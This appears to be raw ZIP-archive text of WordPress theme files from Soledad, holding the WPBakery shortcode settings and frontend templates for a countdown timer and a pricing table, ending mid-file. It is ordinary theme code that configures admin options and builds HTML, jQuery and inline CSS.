				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'time_digit_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'time_digit_size',
				'heading'    => __( 'Font Size for Timer Digit', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Timer Digit', 'soledad' ),
				'param_name' => 'time_weight',
				'std'        => 'center',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'normal'                   => 'Normal',
					'bold'                     => 'Bold',
					'bolder'                   => 'Bolder',
					'lighter'                  => 'Lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'unit_heading',
				'heading'          => esc_html__( 'Timer unit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer unit color', 'soledad' ),
				'param_name'       => 'unit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'unit_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'unit_size',
				'heading'    => __( 'Font Size for Timer Unit', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\ŕ
  
  .  js_composer/shortcodes/count_down/frontend.phpnu [        <?php
$penci_block_width = $el_class = $css_animation = $css = '';

$count_down_style     = $count_down_posttion = $count_year = $count_month = $count_day = $count_hour = $count_minus = $count_sec = '';
$countdown_opts       = $digit_border = $digit_border_width = $digit_border_radius = $digit_padding = $unit_margin_top = '';
$countdown_item_width = $countdown_item_height = $cdtitle_upper = '';

$str_days         = $str_days2 = $str_weeks = $str_weeks2 = $str_months = $str_months2 = $str_years = $str_years2 = '';
$str_hours        = $str_hours2 = $str_minutes = $str_minutes2 = $str_seconds = $str_seconds2 = '';
$time_digit_color = $time_digit_bordercolor = $time_digit_bgcolor = $time_digit_size = $time_weight = $unit_color = $unit_size = '';
$time_bgcolor     = $time_bordercolor = '';
$time_digit_size  = $time_digit_typo = $unit_size = $unit_typo = $responsive_spacing = '';

$output = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-countdown-bsc';
$css_class .= ' penci-countdown-' . $count_down_style;
$css_class .= ' penci-style-' . $count_down_posttion;
$css_class .= 'yes' == $cdtitle_upper ? ' penci-period-upper' : '';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'count_down' );

// Data Until
$data_time = '';
$data_time .= $count_year ? $count_year : 0;
$data_time .= ',';
$data_time .= $count_month ? intval( $count_month ) - 1 : 0;
$data_time .= ',';
$data_time .= $count_day ? $count_day : 0;
$data_time .= ',';
$data_time .= $count_hour ? $count_hour : 0;
$data_time .= ',';
$data_time .= $count_minus ? $count_minus : 0;
$data_time .= ',';
$data_time .= $count_sec ? $count_sec : 0;

$labels  = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']", $str_years2, $str_weeks2, $str_months2, $str_days2, $str_hours2, $str_minutes2, $str_seconds2 );
$labels1 = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']", $str_years, $str_weeks, $str_months, $str_days, $str_hours, $str_minutes, $str_seconds );

// Data format YOWDHMS
$data_format = 'DHMS';
if ( $countdown_opts ) {
	$data_format = str_replace( ',', '', $countdown_opts );
}
?>
    <div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>"></div>
    <script type="text/javascript">
        jQuery(function ($) {
            if ($.fn.countdown) {
                var <?php echo esc_attr( $block_id ); ?>newDateTime = new Date(<?php echo $data_time; ?> );

                $('#<?php echo esc_attr( $block_id ); ?>').countdown({
                    until: <?php echo esc_attr( $block_id ); ?>newDateTime,
                    labels: <?php echo $labels; ?>,
                    labels1: <?php echo $labels1; ?>,
                    timezone: <?php echo get_option( 'gmt_offset' ); ?>,
                    format: '<?php echo $data_format; ?>',
					<?php echo( is_rtl() ? 'isRTL: true' : '' ); ?>
                });
            }
        });
    </script>
<?php
$id_countdown = '#' . $block_id;
$id_countdown2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

if ( 's1' == $count_down_style ) {
	if ( $digit_border ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-style: ' . ( $digit_border ) . ' }';

		if ( ! $digit_border_width ) {
			$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-width: 1px; }';
		}
	}

	if ( $digit_border_width ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-width: ' . ( $digit_border_width ) . ' }';
	}
	if ( $digit_border_radius ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-radius: ' . ( $digit_border_radius ) . ' }';
	}

	if ( $time_digit_bordercolor ) {
		$css_custom .= $id_countdown2 . '.penci-countdown-s1 .penci-countdown-amount { border-color: ' . ( $time_digit_bordercolor ) . ' }';
	}

	if ( $time_digit_bgcolor ) {
		$css_custom .= $id_countdown2 . '.penci-countdown-s1 .penci-countdown-amount { background-color: ' . ( $time_digit_bgcolor ) . ' }';
	}
} else {
	if ( $time_bgcolor ) {
		$css_custom .= $id_countdown2 . ' .penci-span-inner { background-color: ' . ( $time_bgcolor ) . ' }';
	}
	if ( $time_bordercolor ) {
		$css_custom .= $id_countdown2 . ' .penci-span-inner{ border-color: ' . ( $time_bordercolor ) . ' }';
	}
}

if ( $digit_padding ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-amount { padding: {{VALUE}}px }', $digit_padding );
}
if ( $unit_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-period { margin-top: {{VALUE}}px }', $digit_padding );
}

if ( $countdown_item_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-section { width: {{VALUE}}px }', $countdown_item_width );
}
if ( $countdown_item_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-section{ height: {{VALUE}}px }', $countdown_item_height );
}


if ( $time_digit_color ) {
	$css_custom .= $id_countdown2 . ' .penci-countdown-amount { color:' . ( $time_digit_color ) . ' }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $time_digit_size,
	'font_style' => $time_digit_typo,
	'template'   => $id_countdown . ' .penci-countdown-amount{ %s }',
) );


if ( $unit_color ) {
	$css_custom .= $id_countdown2 . ' .penci-countdown-period{ color: ' . ( $unit_color ) . ' }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $unit_size,
	'font_style' => $unit_typo,
	'template'   => $id_countdown . ' .penci-countdown-period{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_countdown, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\F 0A  0A  1  js_composer/shortcodes/pricing_table/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_image = 'Image';

vc_map( array(
	'base'          => 'penci_pricing_table',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pricing_table/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Pricing Table', 'soledad' ),
	'description'   => __( 'Pricing Table Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Use image', 'soledad' ),
				'param_name'  => '_use_img',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'       => 'attach_image',
				'heading'    => esc_html__( 'Image', 'soledad' ),
				'param_name' => '_image',
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_width',
				'heading'    => __( 'Image width', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_height',
				'heading'    => __( 'Image height', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_mar_top',
				'heading'    => __( 'Image margin top', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_mar_bottom',
				'heading'    => __( 'Image margin bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Pricing Name / Title', 'soledad' ),
				'param_name'  => '_heading',
				'description' => __( 'Enter the pricing name', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Pricing  Subtitle', 'soledad' ),
				'param_name'  => '_subheading',
				'description' => __( 'Enter short description', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Price', 'soledad' ),
				'param_name'  => '_price',
				'description' => __( 'Enter the price', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Price Unit', 'soledad' ),
				'param_name'  => '_unit',
				'description' => __( 'Enter the price unit for this package. e.g. per month', 'soledad' ),
			),
			array(
				'type'        => 'textarea_html',
				'class'       => '',
				'heading'     => __( 'Features', 'ultimate_vc' ),
				'param_name'  => 'content',
				'value'       => '',
				'description' => __( 'Create the features list using un-ordered list elements.', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Button Text', 'soledad' ),
				'param_name'  => '_btn_text',
				'description' => __( 'Enter call to action button text', 'soledad' ),
			),
			array(
				'type'        => 'vc_link',
				'class'       => '',
				'heading'     => __( 'Button Link', 'smile' ),
				'param_name'  => '_btn_link',
				'value'       => '',
				'description' => __( 'Select / enter the link for call to action button', 'ultimate_vc' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Make this pricing box as featured', 'soledad' ),
				'param_name' => '_featured',
				'value'      => 'no',
			),
			array(
				'type'       => 'penci_only_number',
				'param_name' => 'min_height',
				'heading'    => __( 'Minimum height for pricing item', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'max'        => 1000,
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_heading_mar_bottom',
				'heading'          => __( 'Pricing title margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_subheading_mar_b',
				'heading'          => __( 'Pricing subtitle margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_price_mar_bottom',
				'heading'          => __( 'Pricing margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_unit_mar_bottom',
				'heading'          => __( 'Price unit margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_features_martop',
				'heading'          => __( 'Features margin top', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_features_bottom',
				'heading'          => __( 'Features margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'item_fea_bottom',
				'heading'          => __( 'Item of list features margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_mar_top',
				'heading'          => __( 'Button margin top', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_width',
				'heading'          => __( 'Button width', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_height',
				'heading'          => __( 'Button Height', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),

			// Title
			array(
				'type'             => 'textfield',
				'param_name'       => '_heading_settings',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => '_heading_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_heading_fsize',
				'heading'          => __( 'Font Size for Pricing Title', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_heading_typo',
				'value'      => '',
			),

			// Typo & Color
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Background color for pricing item', 'soledad' ),
				'param_name'       => 'bg_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Border color for pricing item', 'soledad' ),
				'param_name'       => 'border_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),


			// Sub title
			array(
				'type'             => 'textfield',
				'param_name'       => '_heading_settings',
				'heading'          => esc_html__( 'Pricing Subtitle', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Pricing Subtitle', 'soledad' ),
				'param_name'       => '_subheading_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_subheading_fsize',
				'heading'          => __( 'Font Size for Pricing Title', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_subheading_typo',
				'value'      => '',
			),

			// Pricing table
			array(
				'type'             => 'textfield',
				'param_name'       => '_price_settings',
				'heading'          => esc_html__( 'Price', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Price color', 'soledad' ),
				'param_name'       => '_price_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_price_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_price_typo',
				'value'      => '',
			),

			// Unit table
			array(
				'type'             => 'textfield',
				'param_name'       => '_price_settings',
				'heading'          => esc_html__( 'Price Unit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Price Unit color', 'soledad' ),
				'param_name'       => '_unit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_unit_fsize',
				'heading'          => __( 'Font Size for Price Unit', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_unit_typo',
				'value'      => '',
			),
			// Features
			array(
				'type'             => 'textfield',
				'param_name'       => '_features_settings',
				'heading'          => esc_html__( 'Features', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Features color', 'soledad' ),
				'param_name'       => 'features_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'features_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'features_typo',
				'value'      => '',
			),

			// Button
			array(
				'type'             => 'textfield',
				'param_name'       => '_btn_settings',
				'heading'          => esc_html__( 'Button', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button background color', 'soledad' ),
				'param_name'       => 'btn_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button border color', 'soledad' ),
				'param_name'       => 'btn_borcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button text color', 'soledad' ),
				'param_name'       => 'btn_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button background hover color', 'soledad' ),
				'param_name'       => 'btn_hbgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button border hover color', 'soledad' ),
				'param_name'       => 'btn_hborcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button text hover color', 'soledad' ),
				'param_name'       => 'btn_text_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_btn_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_btn_typo',
				'value'      => '',
			),
		), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\Oҏ$  $  1  js_composer/shortcodes/pricing_table/frontend.phpnu [        <?php
$output = $el_class = $css_animation = $css = '';

$_design_style = $_use_img = $_image = '';
$image_width   = $image_height = $image_mar_top = $image_mar_bottom = $responsive_spacing = '';
$_heading      = $_subheading = $_price = $_unit = '';
$_btn_text     = $_btn_link = $_featured = $min_height = '';

$_heading_mar_bottom = $_subheading_mar_b = $_price_mar_bottom = '';
$_unit_mar_bottom    = $_features_martop = $_features_bottom = $item_fea_bottom = '';
$btn_mar_top         = $btn_width = $btn_height = '';

$bg_color          = $border_color = '';
$_heading_color    = $_heading_fsize = $_heading_typo = '';
$_subheading_color = $_subheading_fsize = $_subheading_typo = '';
$_price_color      = $_price_fsize = $_price_typo = '';
$_unit_color       = $_unit_fsize = $_unit_typo = '';
$features_color    = $features_fsize = $features_typo = '';
$btn_bgcolor       = $btn_borcolor = $btn_text_color = '';
$btn_hbgcolor      = $btn_hborcolor = $btn_text_hcolor = '';
$_btn_fsize        = $_btn_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$css_class = 'penci-pricing-table';
$css_class .= ' penci-pricing-item';
$css_class .= 'yes' == $_featured ? ' penci-pricing_featured' : '';
$css_class .= $_design_style ? ' penci-pricing-' . esc_attr( $_design_style ) : '';

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'pricing_table' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		if ( 'yes' == $_featured && 's2' == $_design_style ) {
			echo '<span class="penci-pricing-ribbon">' . penci_icon_by_ver( 'fas fa-star' ) . '</span>';
		}
		?>
        <div class="penci-block_content">
			<?php
			echo '<div class="penci-pricing-header">';
			if ( $_image && 'yes' == $_use_img ) {
				echo '<div class="penci-pricing-image"><img alt="" src="' . esc_url( wp_get_attachment_url( $_image ) ) . '"></div>';
			}
			if ( $_heading ) {
				echo '<div class="penci-pricing-title">' . do_shortcode( $_heading ) . '</div>';
			}

			if ( $_subheading ) {
				echo '<div class="penci-pricing-subtitle">' . do_shortcode( $_subheading ) . '</div>';
			}
			echo '</div>';

			if ( $_price || $_unit ) {
				echo '<div class="penci-price-unit">';

				if ( $_price ) {
					echo '<span class="penci-pricing-price">' . do_shortcode( $_price ) . '</span>';
				}

				if ( $_unit ) {
					echo '<span class="penci-pricing-unit">' . do_shortcode( $_unit ) . '</span>';
				}

				echo '</div>';
			}

			if ( $content ) {
				$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $content ) . "\n" );
				$content = do_shortcode( shortcode_unautop( $content ) );

				echo '<div class="penci-pricing-featured">' . $content . '</div>';
			}

			if ( $atts['_btn_text'] ) {
				$a_before = '<span class="penci-pricing-btn button">';
				$a_after  = '</span>';

				if ( $_btn_link ) {
					$url = vc_build_link( $_btn_link );
					if ( strlen( $url['url'] ) > 0 ) {
						$rel = '';
						if ( ! empty( $url['rel'] ) ) {
							$rel = ' rel="' . esc_attr( $url['rel'] ) . '"';
						}

						$a_before = '<a class="penci-pricing-btn penci-button" href="' . esc_attr( $url['url'] ) . '" ' . $rel . ' title="' . esc_attr( $url['title'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '">';
						$a_after  = '</a>';
					}
				}
				echo $a_before . do_shortcode( $_btn_text ) . $a_after;
			}
			?>
        </div>
    </div>
<?php
$css_custom       = '';
$id_pricing_table = '#' . $block_id;
$id_pricing_table2 = 'body:not(.pcdm-enable) #' . $block_id;

// General
if ( $bg_color ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ background-color:' . esc_attr( $bg_color ) . '; }';
}
if ( $border_color ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ border-color:' . esc_attr( $border_color ) . '; }';
}
if ( $min_height ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ min-height:' . esc_attr( $min_height ) . 'px; }';
}

// Image
if ( $_image && $_use_img ) {
	$custom_img_css = '';

	if ( $image_width ) {
		$custom_img_css .= 'width:' . esc_attr( $image_width ) . ';';
	}
	if ( $image_height ) {
		$custom_img_css .= 'height:' . esc_attr( $image_height ) . ';';
	}
	if ( $image_mar_top ) {
		$custom_img_css .= 'margin-top:' . esc_attr( $image_mar_top ) . ';';
	}
	if ( $image_height ) {
		$custom_img_css .= 'margin-bottom:' . esc_attr( $image_mar_bottom ) . ';';
	}

	if ( $custom_img_css ) {
		$css_custom .= $id_pricing_table . ' .penci-pricing-image{' . $custom_img_css . '}';
	}
}
// Heading
if ( $_heading_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-title{ color:' . esc_attr( $_heading_color ) . '; }';
}
if ( $_heading_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-title{ margin-bottom:' . esc_attr( $_heading_mar_bottom ) . '; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_heading_fsize,
	'font_style' => $_heading_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-title{ %s }',
) );

// Sub heading
if ( $_subheading_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-subtitle{ color:' . esc_attr( $_subheading_color ) . '; }';
}
if ( $_subheading_mar_b ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-subtitle{ margin-bottom:' . esc_attr( $_subheading_mar_b ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_subheading_fsize,
	'font_style' => $_subheading_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-subtitle{ %s }',
) );

// Pricing
if ( $_price_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-price{ color:' . esc_attr( $_price_color ) . '; }';
}
if ( $_price_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-price{ margin-bottom:' . esc_attr( $_price_mar_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_price_fsize,
	'font_style' => $_price_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-price{ %s }',
) );

// Unit
if ( $_unit_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-unit{ color:' . esc_attr( $_unit_color ) . '; }';
}
if ( $_unit_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-unit{ margin-bottom:' . esc_attr( $_unit_mar_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_unit_fsize,
	'font_style' => $_unit_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-unit{ %s }',
) );
// Featured
if ( $features_color ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured li,';
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-featured{ color:' . esc_attr( $features_color ) . '; }';
}
if ( $_features_martop ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured{ margin-top:' . esc_attr( $_features_martop ) . '; }';
}
if ( $_features_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured{ margin-bottom:' . esc_attr( $_features_bottom ) . '; }';
}
if ( $item_fea_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured li{ margin-bottom:' . esc_attr( $item_fea_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $features_fsize,
	'font_style' => $features_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-featured{ %s }',
) );

// Button
$btn_custom_css = '';
if ( $btn_mar_top ) {
	$btn_custom_css .= 'margin-top:' . esc_attr( $btn_mar_top ) . ';';
}
if ( $btn_width ) {
	$btn_custom_css .= 'width:' . esc_attr( $btn_width ) . ';';
}
if ( $btn_height ) {
